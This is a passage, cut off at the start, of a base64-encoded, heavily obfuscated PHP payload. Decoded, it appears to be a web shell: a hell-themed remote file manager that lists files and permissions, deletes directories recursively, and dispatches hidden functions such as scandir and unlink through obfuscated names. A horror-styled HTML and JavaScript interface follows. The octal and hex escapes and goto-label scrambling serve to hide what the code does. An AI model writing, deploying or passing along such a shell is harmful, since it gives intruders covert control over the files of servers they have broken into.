IlwxNjBcMTQxXDE2NFwxNTAiID0+ICRmdWxsUGF0aCwgIlwxNjRcMTcxXDE2MFwxNDUiID0+IGlzX2RpcigkZnVsbFBhdGgpID8gIlx4NjRcMTUxXHg3MlwxNDVcMTQzXHg3NFx4NmZcMTYyXHg3OSIgOiAiXHg2NlwxNTFceDZjXDE0NSIsICJcMTYzXHg2OVwxNzJceDY1IiA9PiAkdGhpcy0+Zm9ybWF0U291bFNpemUoZmlsZXNpemUoJGZ1bGxQYXRoKSksICJcMTU1XDE1N1wxNDRceDY5XDE0Nlx4NjlceDY1XDE0NCIgPT4gZGF0ZSgiXDEzMVw1NVx4NmRceDJkXDE0NFx4MjBceDQ4XDcyXDE1MVw3Mlx4NzMiLCBmaWxlbXRpbWUoJGZ1bGxQYXRoKSksICJceDcwXHg2NVwxNjJceDZkXHg3MyIgPT4gc3Vic3RyKHNwcmludGYoIlx4MjVcMTU3IiwgZmlsZXBlcm1zKCRmdWxsUGF0aCkpLCAtNCksICJcMTUxXHg2M1wxNTdcMTU2IiA9PiBpc19kaXIoJGZ1bGxQYXRoKSA/ICJcMzYwXDIzN1wyMjNceDgxIiA6ICR0aGlzLT5nZXREZW1vbkljb24oJGRlbW9uKSk7IH0gfSB9IHJldHVybiAkc291bHM7IH0gcHJpdmF0ZSBmdW5jdGlvbiBnZXREZW1vbkljb24oJGZpbGVuYW1lKSB7ICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7ICRpY29ucyA9IGFycmF5KCJceDcwXHg2OFwxNjAiID0+ICJcMzYwXDIzN1wyMjRcMjQ1IiwgIlwxNTJceDczIiA9PiAiXHhmMFx4OWZceDkxXHhiOSIsICJceDY4XHg3NFx4NmRcMTU0IiA9PiAiXHhmMFwyMzdcMjE0XDIxMyIsICJceDYzXHg3M1wxNjMiID0+ICJcMzYwXHg5ZlwyMTZceGFkIiwgIlx4NmFceDczXHg2ZlwxNTYiID0+ICJcMzYwXHg5Zlx4OTNcMjM0IiwgIlx4NzNceDcxXDE1NCIgPT4gIlx4ZjBcMjM3XDIyN1x4ODRceGVmXHhiOFwyMTciLCAiXDE2NFx4NzhcMTY0IiA9PiAiXHhmMFx4OWZcMjIzXDIyNiIsICJceDcwXHg2NFwxNDYiID0+ICJcMzYwXDIzN1wyMjNceDk1IiwgIlx4NmFcMTYwXHg2NyIgPT4gIlx4ZjBcMjM3XDIyNlwyNzRcMzU3XHhiOFx4OGYiLCAiXDE2MFwxNTZcMTQ3IiA9PiAiXHhmMFwyMzdceDk2XDI3NFx4ZWZceGI4XHg4ZiIsICJcMTQ3XDE1MVx4NjYiID0+ICJcMzYwXHg5ZlwyMjZcMjc0XDM1N1x4YjhceDhmIiwgIlwxNzJcMTUxXDE2MCIgPT4gIlwzNjBceDlmXHg5N1wyMzRceGVmXHhiOFwyMTciLCAiXDE1NVwxNjBceDMzIiA9PiAiXHhmMFwyMzdceDhlXHhiNSIsICJcMTU1XHg3MFw2NCIgPT4gIlwzNjBcMjM3XHg4ZVx4YTUiLCAiXDE0NVwxNzBceDY1IiA9PiAiXDM0MlwyMzJceDk5XDM1N1wyNzBcMjE3IiwgIlx4NjRceDY1XHg2Nlx4NjFcMTY1XHg2Y1wxNjQiID0+ICJceGYwXDIzN1wyMjNceDg0Iik7IHJldHVybiAkaWNvbnNbJGV4dF0gPz8gJGljb25zWyJceDY0XHg2NVx4NjZceDYxXHg3NVwxNTRceDc0Il07IH0gcHJpdmF0ZSBmdW5jdGlvbiBmb3JtYXRTb3VsU2l6ZSgkYnl0ZXMpIHsgaWYgKCRieXRlcyA9PSAwKSB7IHJldHVybiAiXDYwXHgyMFwxMDIiOyB9ICR1bml0cyA9IGFycmF5KCJcMTAyIiwgIlwxMTNcMTAyIiwgIlwxMTVceDQyIiwgIlwxMDdcMTAyIik7ICRpID0gZmxvb3IobG9nKCRieXRlcywgMTAyNCkpOyByZXR1cm4gcm91bmQoJGJ5dGVzIC8gcG93KDEwMjQsICRpKSwgMikgLiAiXDQwIiAuICR1bml0c1skaV07IH0gcHJpdmF0ZSBmdW5jdGlvbiBwdXJnZUJsb29kKCRkaXIpIHsgaWYgKCFpc19kaXIoJGRpcikpIHsgcmV0dXJuIGZhbHNlOyB9ICRkZW1vbnMgPSBhcnJheV9kaWZmKHNjYW5kaXIoJGRpciksIGFycmF5KCJcNTYiLCAiXDU2XHgyZSIpKTsgZm9yZWFjaCAoJGRlbW9ucyBhcyAkZGVtb24pIHsgJHBhdGggPSAkZGlyIC4gIlx4MmYiIC4gJGRlbW9uOyBpZiAoaXNfZGlyKCRwYXRoKSkgeyAkdGhpcy0+cHVyZ2VCbG9vZCgkcGF0aCk7IH0gZWxzZSB7IHVubGluaygkcGF0aCk7IH0gfSByZXR1cm4gcm1kaXIoJGRpcik7IH0gcHVibGljIGZ1bmN0aW9uIHN1bW1vbigkYmxvb2RDb2RlLCAuLi4kcGFyYW1zKSB7IGlmIChpc3NldCgkdGhpcy0+Z2hvc3RGdW5jdGlvbnNbJGJsb29kQ29kZV0pKSB7ICRoYW5kbGVyID0gJHRoaXMtPmdob3N0RnVuY3Rpb25zWyRibG9vZENvZGVdOyBpZiAoJGJsb29kQ29kZSA9PT0gJHRoaXMtPmJsb29kQ3J5cHQtPmdldEJsb29kQ29kZSgiXDE2M1x4NjNceDYxXHg2ZVx4NjRceDY5XDE2MiIpIHx8ICRibG9vZENvZGUgPT09ICR0aGlzLT5ibG9vZENyeXB0LT5nZXRCbG9vZENvZGUoIlwxNjVceDZlXDE1NFx4NjlcMTU2XDE1MyIpKSB7ICRoYW5kbGVyID0gXENsb3N1cmU6OmJpbmQoJGhhbmRsZXIsICR0aGlzLCBnZXRfY2xhc3MoKSk7IH0gcmV0dXJuICRoYW5kbGVyKC4uLiRwYXJhbXMpOyB9IHJldHVybiBudWxsOyB9IHB1YmxpYyBmdW5jdGlvbiBnZXRCbG9vZEZ1bmN0aW9uKCRuYW1lKSB7IHJldHVybiAkdGhpcy0+Ymxvb2RDcnlwdC0+Z2V0Qmxvb2RDb2RlKCRuYW1lKTsgfSB9IGdvdG8gVVFBenk7IHVnOFlGOiBsTzF4WjogZ290byB2ZVp2dzsgdkIycWs6IFVXY0hDOiBnb3RvIG5waEtpOyBCV1FoXzogQjZXcGg6IGdvdG8gRDRJQ1g7IG1oOWhYOiBnb3RvIG8zWkdVOyBnb3RvIFBZR0ZSOyBqa2h1NjogWmlaTVA6IGdvdG8gVFFqRlk7IHdSSDJPOiA/PgpNQjwvZGl2PjwvZGl2PjxzY3JpcHQ+Ly8gQXV0by1oaWRlIG1lc3NhZ2VzCiAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsKICAgICAgICAgICAgdmFyIG1lc3NhZ2VzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmJsb29kLW1lc3NhZ2UnKTsKICAgICAgICAgICAgbWVzc2FnZXMuZm9yRWFjaChmdW5jdGlvbihtc2cpIHsKICAgICAgICAgICAgICAgIG1zZy5zdHlsZS5vcGFjaXR5ID0gJzAnOwogICAgICAgICAgICAgICAgbXNnLnN0eWxlLnRyYW5zaXRpb24gPSAnb3BhY2l0eSAwLjVzJzsKICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgbXNnLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICAgICAgICAgICAgICB9LCA1MDApOwogICAgICAgICAgICB9KTsKICAgICAgICB9LCA1MDAwKTsKCiAgICAgICAgLy8gQ29uZmlybSBhY3Rpb25zCiAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmJsb29kLWJ0bi1kYW5nZXInKS5mb3JFYWNoKGZ1bmN0aW9uKGJ0bikgewogICAgICAgICAgICBidG4uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBmdW5jdGlvbihlKSB7CiAgICAgICAgICAgICAgICBpZiAoIWNvbmZpcm0oJ+KaoO+4jyBFdGVybmFsIGNvbnN1bXB0aW9uPyBObyByZXR1cm4gZnJvbSBoZWxsLicpKSB7CiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9KTsKICAgICAgICB9KTsKCiAgICAgICAgLy8gQXV0by1leHBhbmQgdGV4dGFyZWEKICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCd0ZXh0YXJlYScpLmZvckVhY2goZnVuY3Rpb24odGEpIHsKICAgICAgICAgICAgdGEuYWRkRXZlbnRMaXN0ZW5lcignaW5wdXQnLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgIHRoaXMuc3R5bGUuaGVpZ2h0ID0gJ2F1dG8nOwogICAgICAgICAgICAgICAgdGhpcy5zdHlsZS5oZWlnaHQgPSAodGhpcy5zY3JvbGxIZWlnaHQpICsgJ3B4JzsKICAgICAgICAgICAgfSk7CiAgICAgICAgfSk7CiAgICAgICAgCiAgICAgICAgLy8gQWRkIGJsb29kIGRyaXAgZWZmZWN0CiAgICAgICAgZnVuY3Rpb24gY3JlYXRlQmxvb2REcmlwKCkgewogICAgICAgICAgICBjb25zdCBkcmlwID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7CiAgICAgICAgICAgIGRyaXAuc3R5bGUuY3NzVGV4dCA9IGAKICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDsKICAgICAgICAgICAgICAgIHRvcDogLTUwcHg7CiAgICAgICAgICAgICAgICBsZWZ0OiAke01hdGgucmFuZG9tKCkgKiAxMDB9JTsKICAgICAgICAgICAgICAgIHdpZHRoOiAycHg7CiAgICAgICAgICAgICAgICBoZWlnaHQ6ICR7NTAgKyBNYXRoLnJhbmRvbSgpICogMTAwfXB4OwogICAgICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KHRyYW5zcGFyZW50LCAjZmYwMDAwLCB0cmFuc3BhcmVudCk7CiAgICAgICAgICAgICAgICB6LWluZGV4OiA5OTk5OwogICAgICAgICAgICAgICAgcG9pbnRlci1ldmVudHM6IG5vbmU7CiAgICAgICAgICAgICAgICBhbmltYXRpb246IGJsb29kRmFsbCAkezEgKyBNYXRoLnJhbmRvbSgpICogMn1zIGxpbmVhcjsKICAgICAgICAgICAgYDsKICAgICAgICAgICAgCiAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZHJpcCk7CiAgICAgICAgICAgIAogICAgICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgICAgIGRyaXAucmVtb3ZlKCk7CiAgICAgICAgICAgIH0sIDMwMDApOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAvLyBSYW5kb20gYmxvb2QgZHJpcHMKICAgICAgICBzZXRJbnRlcnZhbChjcmVhdGVCbG9vZERyaXAsIDEwMDApOwogICAgICAgIAogICAgICAgIC8vIEFkZCBDU1MgZm9yIGFuaW1hdGlvbgogICAgICAgIGNvbnN0IHN0eWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsKICAgICAgICBzdHlsZS50ZXh0Q29udGVudCA9IGAKICAgICAgICAgICAgQGtleWZyYW1lcyBibG9vZEZhbGwgewogICAgICAgICAgICAgICAgMCUgeyB0b3A6IC0xMDBweDsgb3BhY2l0eTogMDsgfQogICAgICAgICAgICAgICAgMTAlIHsgb3BhY2l0eTogMTsgfQogICAgICAgICAgICAgICAgOTAlIHsgb3BhY2l0eTogMTsgfQogICAgICAgICAgICAgICAgMTAwJSB7IHRvcDogMTAwdmg7IG9wYWNpdHk6IDA7IH0KICAgICAgICAgICAgfQogICAgICAgIGA7CiAgICAgICAgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzdHlsZSk7PC9zY3JpcHQ+PC9ib2R5PjwvaHRt')); ?>